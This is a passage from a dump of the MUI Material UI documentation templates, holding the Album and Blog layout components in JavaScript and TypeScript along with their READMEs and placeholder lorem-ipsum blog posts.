import Grid from '@mui/material/Grid';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Toolbar from '@mui/material/Toolbar';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import Link from '@mui/material/Link';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const cards = [1, 2, 3, 4, 5, 6, 7, 8, 9];
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Album() {
return (
<ThemeProvider theme={defaultTheme}>
<CssBaseline />
<AppBar position="relative">
<Toolbar>
<CameraIcon sx={{ mr: 2 }} />
<Typography variant="h6" color="inherit" noWrap>
Album layout
</Typography>
</Toolbar>
</AppBar>
<main>
{/* Hero unit */}
<Box
sx={{
bgcolor: 'background.paper',
pt: 8,
pb: 6,
}}
>
<Container maxWidth="sm">
<Typography
component="h1"
variant="h2"
align="center"
color="text.primary"
gutterBottom
>
Album layout
</Typography>
<Typography variant="h5" align="center" color="text.secondary" paragraph>
Something short and leading about the collection below—its contents,
the creator, etc. Make it short and sweet, but not too short so folks
don't simply skip over it entirely.
</Typography>
<Stack
sx={{ pt: 4 }}
direction="row"
spacing={2}
justifyContent="center"
>
<Button variant="contained">Main call to action</Button>
<Button variant="outlined">Secondary action</Button>
</Stack>
</Container>
</Box>
<Container sx={{ py: 8 }} maxWidth="md">
{/* End hero unit */}
<Grid container spacing={4}>
{cards.map((card) => (
<Grid item key={card} xs={12} sm={6} md={4}>
<Card
sx={{ height: '100%', display: 'flex', flexDirection: 'column' }}
>
<CardMedia
component="div"
sx={{
// 16:9
pt: '56.25%',
}}
image="https://source.unsplash.com/random?wallpapers"
/>
<CardContent sx={{ flexGrow: 1 }}>
<Typography gutterBottom variant="h5" component="h2">
Heading
</Typography>
<Typography>
This is a media card. You can use this section to describe the
content.
</Typography>
</CardContent>
<CardActions>
<Button size="small">View</Button>
<Button size="small">Edit</Button>
</CardActions>
</Card>
</Grid>
))}
</Grid>
</Container>
</main>
{/* Footer */}
<Box sx={{ bgcolor: 'background.paper', p: 6 }} component="footer">
<Typography variant="h6" align="center" gutterBottom>
Footer
</Typography>
<Typography
variant="subtitle1"
align="center"
color="text.secondary"
component="p"
>
Something here to give the footer a purpose!
</Typography>
<Copyright />
</Box>
{/* End footer */}
</ThemeProvider>
);
}
| 3,522 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/album/README.md | # Album template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.
3. Import and use the `Album` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/album/.
| 3,523 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Blog.js | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import Grid from '@mui/material/Grid';
import Container from '@mui/material/Container';
import GitHubIcon from '@mui/icons-material/GitHub';
import FacebookIcon from '@mui/icons-material/Facebook';
import TwitterIcon from '@mui/icons-material/Twitter';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import Header from './Header';
import MainFeaturedPost from './MainFeaturedPost';
import FeaturedPost from './FeaturedPost';
import Main from './Main';
import Sidebar from './Sidebar';
import Footer from './Footer';
import post1 from './blog-post.1.md';
import post2 from './blog-post.2.md';
import post3 from './blog-post.3.md';
const sections = [
{ title: 'Technology', url: '#' },
{ title: 'Design', url: '#' },
{ title: 'Culture', url: '#' },
{ title: 'Business', url: '#' },
{ title: 'Politics', url: '#' },
{ title: 'Opinion', url: '#' },
{ title: 'Science', url: '#' },
{ title: 'Health', url: '#' },
{ title: 'Style', url: '#' },
{ title: 'Travel', url: '#' },
];
const mainFeaturedPost = {
title: 'Title of a longer featured blog post',
description:
"Multiple lines of text that form the lede, informing new readers quickly and efficiently about what's most interesting in this post's contents.",
image: 'https://source.unsplash.com/random?wallpapers',
imageText: 'main image description',
linkText: 'Continue reading…',
};
const featuredPosts = [
{
title: 'Featured post',
date: 'Nov 12',
description:
'This is a wider card with supporting text below as a natural lead-in to additional content.',
image: 'https://source.unsplash.com/random?wallpapers',
imageLabel: 'Image Text',
},
{
title: 'Post title',
date: 'Nov 11',
description:
'This is a wider card with supporting text below as a natural lead-in to additional content.',
image: 'https://source.unsplash.com/random?wallpapers',
imageLabel: 'Image Text',
},
];
const posts = [post1, post2, post3];
const sidebar = {
title: 'About',
description:
'Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.',
archives: [
{ title: 'March 2020', url: '#' },
{ title: 'February 2020', url: '#' },
{ title: 'January 2020', url: '#' },
{ title: 'November 1999', url: '#' },
{ title: 'October 1999', url: '#' },
{ title: 'September 1999', url: '#' },
{ title: 'August 1999', url: '#' },
{ title: 'July 1999', url: '#' },
{ title: 'June 1999', url: '#' },
{ title: 'May 1999', url: '#' },
{ title: 'April 1999', url: '#' },
],
social: [
{ name: 'GitHub', icon: GitHubIcon },
{ name: 'Twitter', icon: TwitterIcon },
{ name: 'Facebook', icon: FacebookIcon },
],
};
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Blog() {
return (
<ThemeProvider theme={defaultTheme}>
<CssBaseline />
<Container maxWidth="lg">
<Header title="Blog" sections={sections} />
<main>
<MainFeaturedPost post={mainFeaturedPost} />
<Grid container spacing={4}>
{featuredPosts.map((post) => (
<FeaturedPost key={post.title} post={post} />
))}
</Grid>
<Grid container spacing={5} sx={{ mt: 3 }}>
<Main title="From the firehose" posts={posts} />
<Sidebar
title={sidebar.title}
description={sidebar.description}
archives={sidebar.archives}
social={sidebar.social}
/>
</Grid>
</main>
</Container>
<Footer
title="Footer"
description="Something here to give the footer a purpose!"
/>
</ThemeProvider>
);
}
| 3,524 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Blog.tsx | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import Grid from '@mui/material/Grid';
import Container from '@mui/material/Container';
import GitHubIcon from '@mui/icons-material/GitHub';
import FacebookIcon from '@mui/icons-material/Facebook';
import TwitterIcon from '@mui/icons-material/Twitter';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import Header from './Header';
import MainFeaturedPost from './MainFeaturedPost';
import FeaturedPost from './FeaturedPost';
import Main from './Main';
import Sidebar from './Sidebar';
import Footer from './Footer';
import post1 from './blog-post.1.md';
import post2 from './blog-post.2.md';
import post3 from './blog-post.3.md';
const sections = [
{ title: 'Technology', url: '#' },
{ title: 'Design', url: '#' },
{ title: 'Culture', url: '#' },
{ title: 'Business', url: '#' },
{ title: 'Politics', url: '#' },
{ title: 'Opinion', url: '#' },
{ title: 'Science', url: '#' },
{ title: 'Health', url: '#' },
{ title: 'Style', url: '#' },
{ title: 'Travel', url: '#' },
];
const mainFeaturedPost = {
title: 'Title of a longer featured blog post',
description:
"Multiple lines of text that form the lede, informing new readers quickly and efficiently about what's most interesting in this post's contents.",
image: 'https://source.unsplash.com/random?wallpapers',
imageText: 'main image description',
linkText: 'Continue reading…',
};
const featuredPosts = [
{
title: 'Featured post',
date: 'Nov 12',
description:
'This is a wider card with supporting text below as a natural lead-in to additional content.',
image: 'https://source.unsplash.com/random?wallpapers',
imageLabel: 'Image Text',
},
{
title: 'Post title',
date: 'Nov 11',
description:
'This is a wider card with supporting text below as a natural lead-in to additional content.',
image: 'https://source.unsplash.com/random?wallpapers',
imageLabel: 'Image Text',
},
];
const posts = [post1, post2, post3];
const sidebar = {
title: 'About',
description:
'Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.',
archives: [
{ title: 'March 2020', url: '#' },
{ title: 'February 2020', url: '#' },
{ title: 'January 2020', url: '#' },
{ title: 'November 1999', url: '#' },
{ title: 'October 1999', url: '#' },
{ title: 'September 1999', url: '#' },
{ title: 'August 1999', url: '#' },
{ title: 'July 1999', url: '#' },
{ title: 'June 1999', url: '#' },
{ title: 'May 1999', url: '#' },
{ title: 'April 1999', url: '#' },
],
social: [
{ name: 'GitHub', icon: GitHubIcon },
{ name: 'Twitter', icon: TwitterIcon },
{ name: 'Facebook', icon: FacebookIcon },
],
};
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Blog() {
return (
<ThemeProvider theme={defaultTheme}>
<CssBaseline />
<Container maxWidth="lg">
<Header title="Blog" sections={sections} />
<main>
<MainFeaturedPost post={mainFeaturedPost} />
<Grid container spacing={4}>
{featuredPosts.map((post) => (
<FeaturedPost key={post.title} post={post} />
))}
</Grid>
<Grid container spacing={5} sx={{ mt: 3 }}>
<Main title="From the firehose" posts={posts} />
<Sidebar
title={sidebar.title}
description={sidebar.description}
archives={sidebar.archives}
social={sidebar.social}
/>
</Grid>
</main>
</Container>
<Footer
title="Footer"
description="Something here to give the footer a purpose!"
/>
</ThemeProvider>
);
}
| 3,525 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/FeaturedPost.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import Card from '@mui/material/Card';
import CardActionArea from '@mui/material/CardActionArea';
import CardContent from '@mui/material/CardContent';
import CardMedia from '@mui/material/CardMedia';
function FeaturedPost(props) {
const { post } = props;
return (
<Grid item xs={12} md={6}>
<CardActionArea component="a" href="#">
<Card sx={{ display: 'flex' }}>
<CardContent sx={{ flex: 1 }}>
<Typography component="h2" variant="h5">
{post.title}
</Typography>
<Typography variant="subtitle1" color="text.secondary">
{post.date}
</Typography>
<Typography variant="subtitle1" paragraph>
{post.description}
</Typography>
<Typography variant="subtitle1" color="primary">
Continue reading...
</Typography>
</CardContent>
<CardMedia
component="img"
sx={{ width: 160, display: { xs: 'none', sm: 'block' } }}
image={post.image}
alt={post.imageLabel}
/>
</Card>
</CardActionArea>
</Grid>
);
}
FeaturedPost.propTypes = {
post: PropTypes.shape({
date: PropTypes.string.isRequired,
description: PropTypes.string.isRequired,
image: PropTypes.string.isRequired,
imageLabel: PropTypes.string.isRequired,
title: PropTypes.string.isRequired,
}).isRequired,
};
export default FeaturedPost;
| 3,526 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/FeaturedPost.tsx | import * as React from 'react';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import Card from '@mui/material/Card';
import CardActionArea from '@mui/material/CardActionArea';
import CardContent from '@mui/material/CardContent';
import CardMedia from '@mui/material/CardMedia';
interface FeaturedPostProps {
post: {
date: string;
description: string;
image: string;
imageLabel: string;
title: string;
};
}
export default function FeaturedPost(props: FeaturedPostProps) {
const { post } = props;
return (
<Grid item xs={12} md={6}>
<CardActionArea component="a" href="#">
<Card sx={{ display: 'flex' }}>
<CardContent sx={{ flex: 1 }}>
<Typography component="h2" variant="h5">
{post.title}
</Typography>
<Typography variant="subtitle1" color="text.secondary">
{post.date}
</Typography>
<Typography variant="subtitle1" paragraph>
{post.description}
</Typography>
<Typography variant="subtitle1" color="primary">
Continue reading...
</Typography>
</CardContent>
<CardMedia
component="img"
sx={{ width: 160, display: { xs: 'none', sm: 'block' } }}
image={post.image}
alt={post.imageLabel}
/>
</Card>
</CardActionArea>
</Grid>
);
}
| 3,527 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Footer.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Box from '@mui/material/Box';
import Container from '@mui/material/Container';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
function Footer(props) {
const { description, title } = props;
return (
<Box component="footer" sx={{ bgcolor: 'background.paper', py: 6 }}>
<Container maxWidth="lg">
<Typography variant="h6" align="center" gutterBottom>
{title}
</Typography>
<Typography
variant="subtitle1"
align="center"
color="text.secondary"
component="p"
>
{description}
</Typography>
<Copyright />
</Container>
</Box>
);
}
Footer.propTypes = {
description: PropTypes.string.isRequired,
title: PropTypes.string.isRequired,
};
export default Footer;
| 3,528 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Footer.tsx | import * as React from 'react';
import Box from '@mui/material/Box';
import Container from '@mui/material/Container';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
interface FooterProps {
description: string;
title: string;
}
export default function Footer(props: FooterProps) {
const { description, title } = props;
return (
<Box component="footer" sx={{ bgcolor: 'background.paper', py: 6 }}>
<Container maxWidth="lg">
<Typography variant="h6" align="center" gutterBottom>
{title}
</Typography>
<Typography
variant="subtitle1"
align="center"
color="text.secondary"
component="p"
>
{description}
</Typography>
<Copyright />
</Container>
</Box>
);
}
| 3,529 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Footer.tsx.preview | <Container maxWidth="lg">
<Typography variant="h6" align="center" gutterBottom>
{title}
</Typography>
<Typography
variant="subtitle1"
align="center"
color="text.secondary"
component="p"
>
{description}
</Typography>
<Copyright />
</Container> | 3,530 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Header.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Toolbar from '@mui/material/Toolbar';
import Button from '@mui/material/Button';
import IconButton from '@mui/material/IconButton';
import SearchIcon from '@mui/icons-material/Search';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
function Header(props) {
const { sections, title } = props;
return (
<React.Fragment>
<Toolbar sx={{ borderBottom: 1, borderColor: 'divider' }}>
<Button size="small">Subscribe</Button>
<Typography
component="h2"
variant="h5"
color="inherit"
align="center"
noWrap
sx={{ flex: 1 }}
>
{title}
</Typography>
<IconButton>
<SearchIcon />
</IconButton>
<Button variant="outlined" size="small">
Sign up
</Button>
</Toolbar>
<Toolbar
component="nav"
variant="dense"
sx={{ justifyContent: 'space-between', overflowX: 'auto' }}
>
{sections.map((section) => (
<Link
color="inherit"
noWrap
key={section.title}
variant="body2"
href={section.url}
sx={{ p: 1, flexShrink: 0 }}
>
{section.title}
</Link>
))}
</Toolbar>
</React.Fragment>
);
}
Header.propTypes = {
sections: PropTypes.arrayOf(
PropTypes.shape({
title: PropTypes.string.isRequired,
url: PropTypes.string.isRequired,
}),
).isRequired,
title: PropTypes.string.isRequired,
};
export default Header;
| 3,531 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Header.tsx | import * as React from 'react';
import Toolbar from '@mui/material/Toolbar';
import Button from '@mui/material/Button';
import IconButton from '@mui/material/IconButton';
import SearchIcon from '@mui/icons-material/Search';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
interface HeaderProps {
sections: ReadonlyArray<{
title: string;
url: string;
}>;
title: string;
}
export default function Header(props: HeaderProps) {
const { sections, title } = props;
return (
<React.Fragment>
<Toolbar sx={{ borderBottom: 1, borderColor: 'divider' }}>
<Button size="small">Subscribe</Button>
<Typography
component="h2"
variant="h5"
color="inherit"
align="center"
noWrap
sx={{ flex: 1 }}
>
{title}
</Typography>
<IconButton>
<SearchIcon />
</IconButton>
<Button variant="outlined" size="small">
Sign up
</Button>
</Toolbar>
<Toolbar
component="nav"
variant="dense"
sx={{ justifyContent: 'space-between', overflowX: 'auto' }}
>
{sections.map((section) => (
<Link
color="inherit"
noWrap
key={section.title}
variant="body2"
href={section.url}
sx={{ p: 1, flexShrink: 0 }}
>
{section.title}
</Link>
))}
</Toolbar>
</React.Fragment>
);
}
| 3,532 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Main.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import Markdown from './Markdown';
function Main(props) {
const { posts, title } = props;
return (
<Grid
item
xs={12}
md={8}
sx={{
'& .markdown': {
py: 3,
},
}}
>
<Typography variant="h6" gutterBottom>
{title}
</Typography>
<Divider />
{posts.map((post) => (
<Markdown className="markdown" key={post.substring(0, 40)}>
{post}
</Markdown>
))}
</Grid>
);
}
Main.propTypes = {
posts: PropTypes.arrayOf(PropTypes.string).isRequired,
title: PropTypes.string.isRequired,
};
export default Main;
| 3,533 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Main.tsx | import * as React from 'react';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import Markdown from './Markdown';
interface MainProps {
posts: ReadonlyArray<string>;
title: string;
}
export default function Main(props: MainProps) {
const { posts, title } = props;
return (
<Grid
item
xs={12}
md={8}
sx={{
'& .markdown': {
py: 3,
},
}}
>
<Typography variant="h6" gutterBottom>
{title}
</Typography>
<Divider />
{posts.map((post) => (
<Markdown className="markdown" key={post.substring(0, 40)}>
{post}
</Markdown>
))}
</Grid>
);
}
| 3,534 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/MainFeaturedPost.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import Link from '@mui/material/Link';
import Box from '@mui/material/Box';
function MainFeaturedPost(props) {
const { post } = props;
return (
<Paper
sx={{
position: 'relative',
backgroundColor: 'grey.800',
color: '#fff',
mb: 4,
backgroundSize: 'cover',
backgroundRepeat: 'no-repeat',
backgroundPosition: 'center',
backgroundImage: `url(${post.image})`,
}}
>
{/* Increase the priority of the hero background image */}
{<img style={{ display: 'none' }} src={post.image} alt={post.imageText} />}
<Box
sx={{
position: 'absolute',
top: 0,
bottom: 0,
right: 0,
left: 0,
backgroundColor: 'rgba(0,0,0,.3)',
}}
/>
<Grid container>
<Grid item md={6}>
<Box
sx={{
position: 'relative',
p: { xs: 3, md: 6 },
pr: { md: 0 },
}}
>
<Typography component="h1" variant="h3" color="inherit" gutterBottom>
{post.title}
</Typography>
<Typography variant="h5" color="inherit" paragraph>
{post.description}
</Typography>
<Link variant="subtitle1" href="#">
{post.linkText}
</Link>
</Box>
</Grid>
</Grid>
</Paper>
);
}
MainFeaturedPost.propTypes = {
post: PropTypes.shape({
description: PropTypes.string.isRequired,
image: PropTypes.string.isRequired,
imageText: PropTypes.string.isRequired,
linkText: PropTypes.string.isRequired,
title: PropTypes.string.isRequired,
}).isRequired,
};
export default MainFeaturedPost;
| 3,535 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/MainFeaturedPost.tsx | import * as React from 'react';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import Link from '@mui/material/Link';
import Box from '@mui/material/Box';
interface MainFeaturedPostProps {
post: {
description: string;
image: string;
imageText: string;
linkText: string;
title: string;
};
}
export default function MainFeaturedPost(props: MainFeaturedPostProps) {
const { post } = props;
return (
<Paper
sx={{
position: 'relative',
backgroundColor: 'grey.800',
color: '#fff',
mb: 4,
backgroundSize: 'cover',
backgroundRepeat: 'no-repeat',
backgroundPosition: 'center',
backgroundImage: `url(${post.image})`,
}}
>
{/* Increase the priority of the hero background image */}
{<img style={{ display: 'none' }} src={post.image} alt={post.imageText} />}
<Box
sx={{
position: 'absolute',
top: 0,
bottom: 0,
right: 0,
left: 0,
backgroundColor: 'rgba(0,0,0,.3)',
}}
/>
<Grid container>
<Grid item md={6}>
<Box
sx={{
position: 'relative',
p: { xs: 3, md: 6 },
pr: { md: 0 },
}}
>
<Typography component="h1" variant="h3" color="inherit" gutterBottom>
{post.title}
</Typography>
<Typography variant="h5" color="inherit" paragraph>
{post.description}
</Typography>
<Link variant="subtitle1" href="#">
{post.linkText}
</Link>
</Box>
</Grid>
</Grid>
</Paper>
);
}
| 3,536 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Markdown.js | import * as React from 'react';
import ReactMarkdown from 'markdown-to-jsx';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
import Box from '@mui/material/Box';
function MarkdownListItem(props) {
return <Box component="li" sx={{ mt: 1, typography: 'body1' }} {...props} />;
}
const options = {
overrides: {
h1: {
component: Typography,
props: {
gutterBottom: true,
variant: 'h4',
component: 'h1',
},
},
h2: {
component: Typography,
props: { gutterBottom: true, variant: 'h6', component: 'h2' },
},
h3: {
component: Typography,
props: { gutterBottom: true, variant: 'subtitle1' },
},
h4: {
component: Typography,
props: {
gutterBottom: true,
variant: 'caption',
paragraph: true,
},
},
p: {
component: Typography,
props: { paragraph: true },
},
a: { component: Link },
li: {
component: MarkdownListItem,
},
},
};
export default function Markdown(props) {
return <ReactMarkdown options={options} {...props} />;
}
| 3,537 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Markdown.tsx | import * as React from 'react';
import ReactMarkdown from 'markdown-to-jsx';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
import Box from '@mui/material/Box';
function MarkdownListItem(props: any) {
return <Box component="li" sx={{ mt: 1, typography: 'body1' }} {...props} />;
}
const options = {
overrides: {
h1: {
component: Typography,
props: {
gutterBottom: true,
variant: 'h4',
component: 'h1',
},
},
h2: {
component: Typography,
props: { gutterBottom: true, variant: 'h6', component: 'h2' },
},
h3: {
component: Typography,
props: { gutterBottom: true, variant: 'subtitle1' },
},
h4: {
component: Typography,
props: {
gutterBottom: true,
variant: 'caption',
paragraph: true,
},
},
p: {
component: Typography,
props: { paragraph: true },
},
a: { component: Link },
li: {
component: MarkdownListItem,
},
},
};
export default function Markdown(props: any) {
return <ReactMarkdown options={options} {...props} />;
}
| 3,538 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Markdown.tsx.preview | <ReactMarkdown options={options} {...props} /> | 3,539 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/README.md | # Blog template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react, markdown-to-jsx.
3. Import and use the `Blog` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/blog/.
| 3,540 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Sidebar.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Grid from '@mui/material/Grid';
import Stack from '@mui/material/Stack';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
function Sidebar(props) {
const { archives, description, social, title } = props;
return (
<Grid item xs={12} md={4}>
<Paper elevation={0} sx={{ p: 2, bgcolor: 'grey.200' }}>
<Typography variant="h6" gutterBottom>
{title}
</Typography>
<Typography>{description}</Typography>
</Paper>
<Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
Archives
</Typography>
{archives.map((archive) => (
<Link display="block" variant="body1" href={archive.url} key={archive.title}>
{archive.title}
</Link>
))}
<Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
Social
</Typography>
{social.map((network) => (
<Link
display="block"
variant="body1"
href="#"
key={network.name}
sx={{ mb: 0.5 }}
>
<Stack direction="row" spacing={1} alignItems="center">
<network.icon />
<span>{network.name}</span>
</Stack>
</Link>
))}
</Grid>
);
}
Sidebar.propTypes = {
archives: PropTypes.arrayOf(
PropTypes.shape({
title: PropTypes.string.isRequired,
url: PropTypes.string.isRequired,
}),
).isRequired,
description: PropTypes.string.isRequired,
social: PropTypes.arrayOf(
PropTypes.shape({
icon: PropTypes.elementType,
name: PropTypes.string.isRequired,
}),
).isRequired,
title: PropTypes.string.isRequired,
};
export default Sidebar;
| 3,541 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/Sidebar.tsx | import * as React from 'react';
import Grid from '@mui/material/Grid';
import Stack from '@mui/material/Stack';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
interface SidebarProps {
archives: ReadonlyArray<{
url: string;
title: string;
}>;
description: string;
social: ReadonlyArray<{
icon: React.ElementType;
name: string;
}>;
title: string;
}
export default function Sidebar(props: SidebarProps) {
const { archives, description, social, title } = props;
return (
<Grid item xs={12} md={4}>
<Paper elevation={0} sx={{ p: 2, bgcolor: 'grey.200' }}>
<Typography variant="h6" gutterBottom>
{title}
</Typography>
<Typography>{description}</Typography>
</Paper>
<Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
Archives
</Typography>
{archives.map((archive) => (
<Link display="block" variant="body1" href={archive.url} key={archive.title}>
{archive.title}
</Link>
))}
<Typography variant="h6" gutterBottom sx={{ mt: 3 }}>
Social
</Typography>
{social.map((network) => (
<Link
display="block"
variant="body1"
href="#"
key={network.name}
sx={{ mb: 0.5 }}
>
<Stack direction="row" spacing={1} alignItems="center">
<network.icon />
<span>{network.name}</span>
</Stack>
</Link>
))}
</Grid>
);
}
| 3,542 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/blog-post.1.md | # Sample blog post
_April 1, 2020 by [Olivier](/)_
This blog post shows a few different types of content that are supported and styled with
Material styles. Basic typography, images, and code are all supported.
You can extend these by modifying `Markdown.js`.
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.
Sed posuere consectetur est at lobortis. Cras mattis consectetur purus sit amet fermentum.
Curabitur blandit tempus porttitor. **Nullam quis risus eget urna mollis** ornare vel eu leo.
Nullam id dolor id nibh ultricies vehicula ut id elit.
Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum.
Aenean lacinia bibendum nulla sed consectetur.
## Heading
Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor.
Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit.
Morbi leo risus, porta ac consectetur ac, vestibulum at eros.
### Sub-heading 1
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
### Sub-heading 2
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
Aenean lacinia bibendum nulla sed consectetur. Etiam porta sem malesuada magna mollis euismod.
Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo
sit amet risus.
- Praesent commodo cursus magna, vel scelerisque nisl consectetur et.
- Donec id elit non mi porta gravida at eget metus.
- Nulla vitae elit libero, a pharetra augue.
Donec ullamcorper nulla non metus auctor fringilla. Nulla vitae elit libero, a pharetra augue.
1. Vestibulum id ligula porta felis euismod semper.
1. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
1. Maecenas sed diam eget risus varius blandit sit amet non magna.
Cras mattis consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis.
| 3,543 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/blog-post.2.md | # Another blog post
_March 23, 2020 by [Matt](/)_
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.
Sed posuere consectetur est at lobortis. Cras mattis consectetur purus sit amet fermentum.
Curabitur blandit tempus porttitor. **Nullam quis risus eget urna mollis** ornare vel eu leo.
Nullam id dolor id nibh ultricies vehicula ut id elit.
Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum.
Aenean lacinia bibendum nulla sed consectetur.
Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor.
Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit.
Morbi leo risus, porta ac consectetur ac, vestibulum at eros.
| 3,544 |
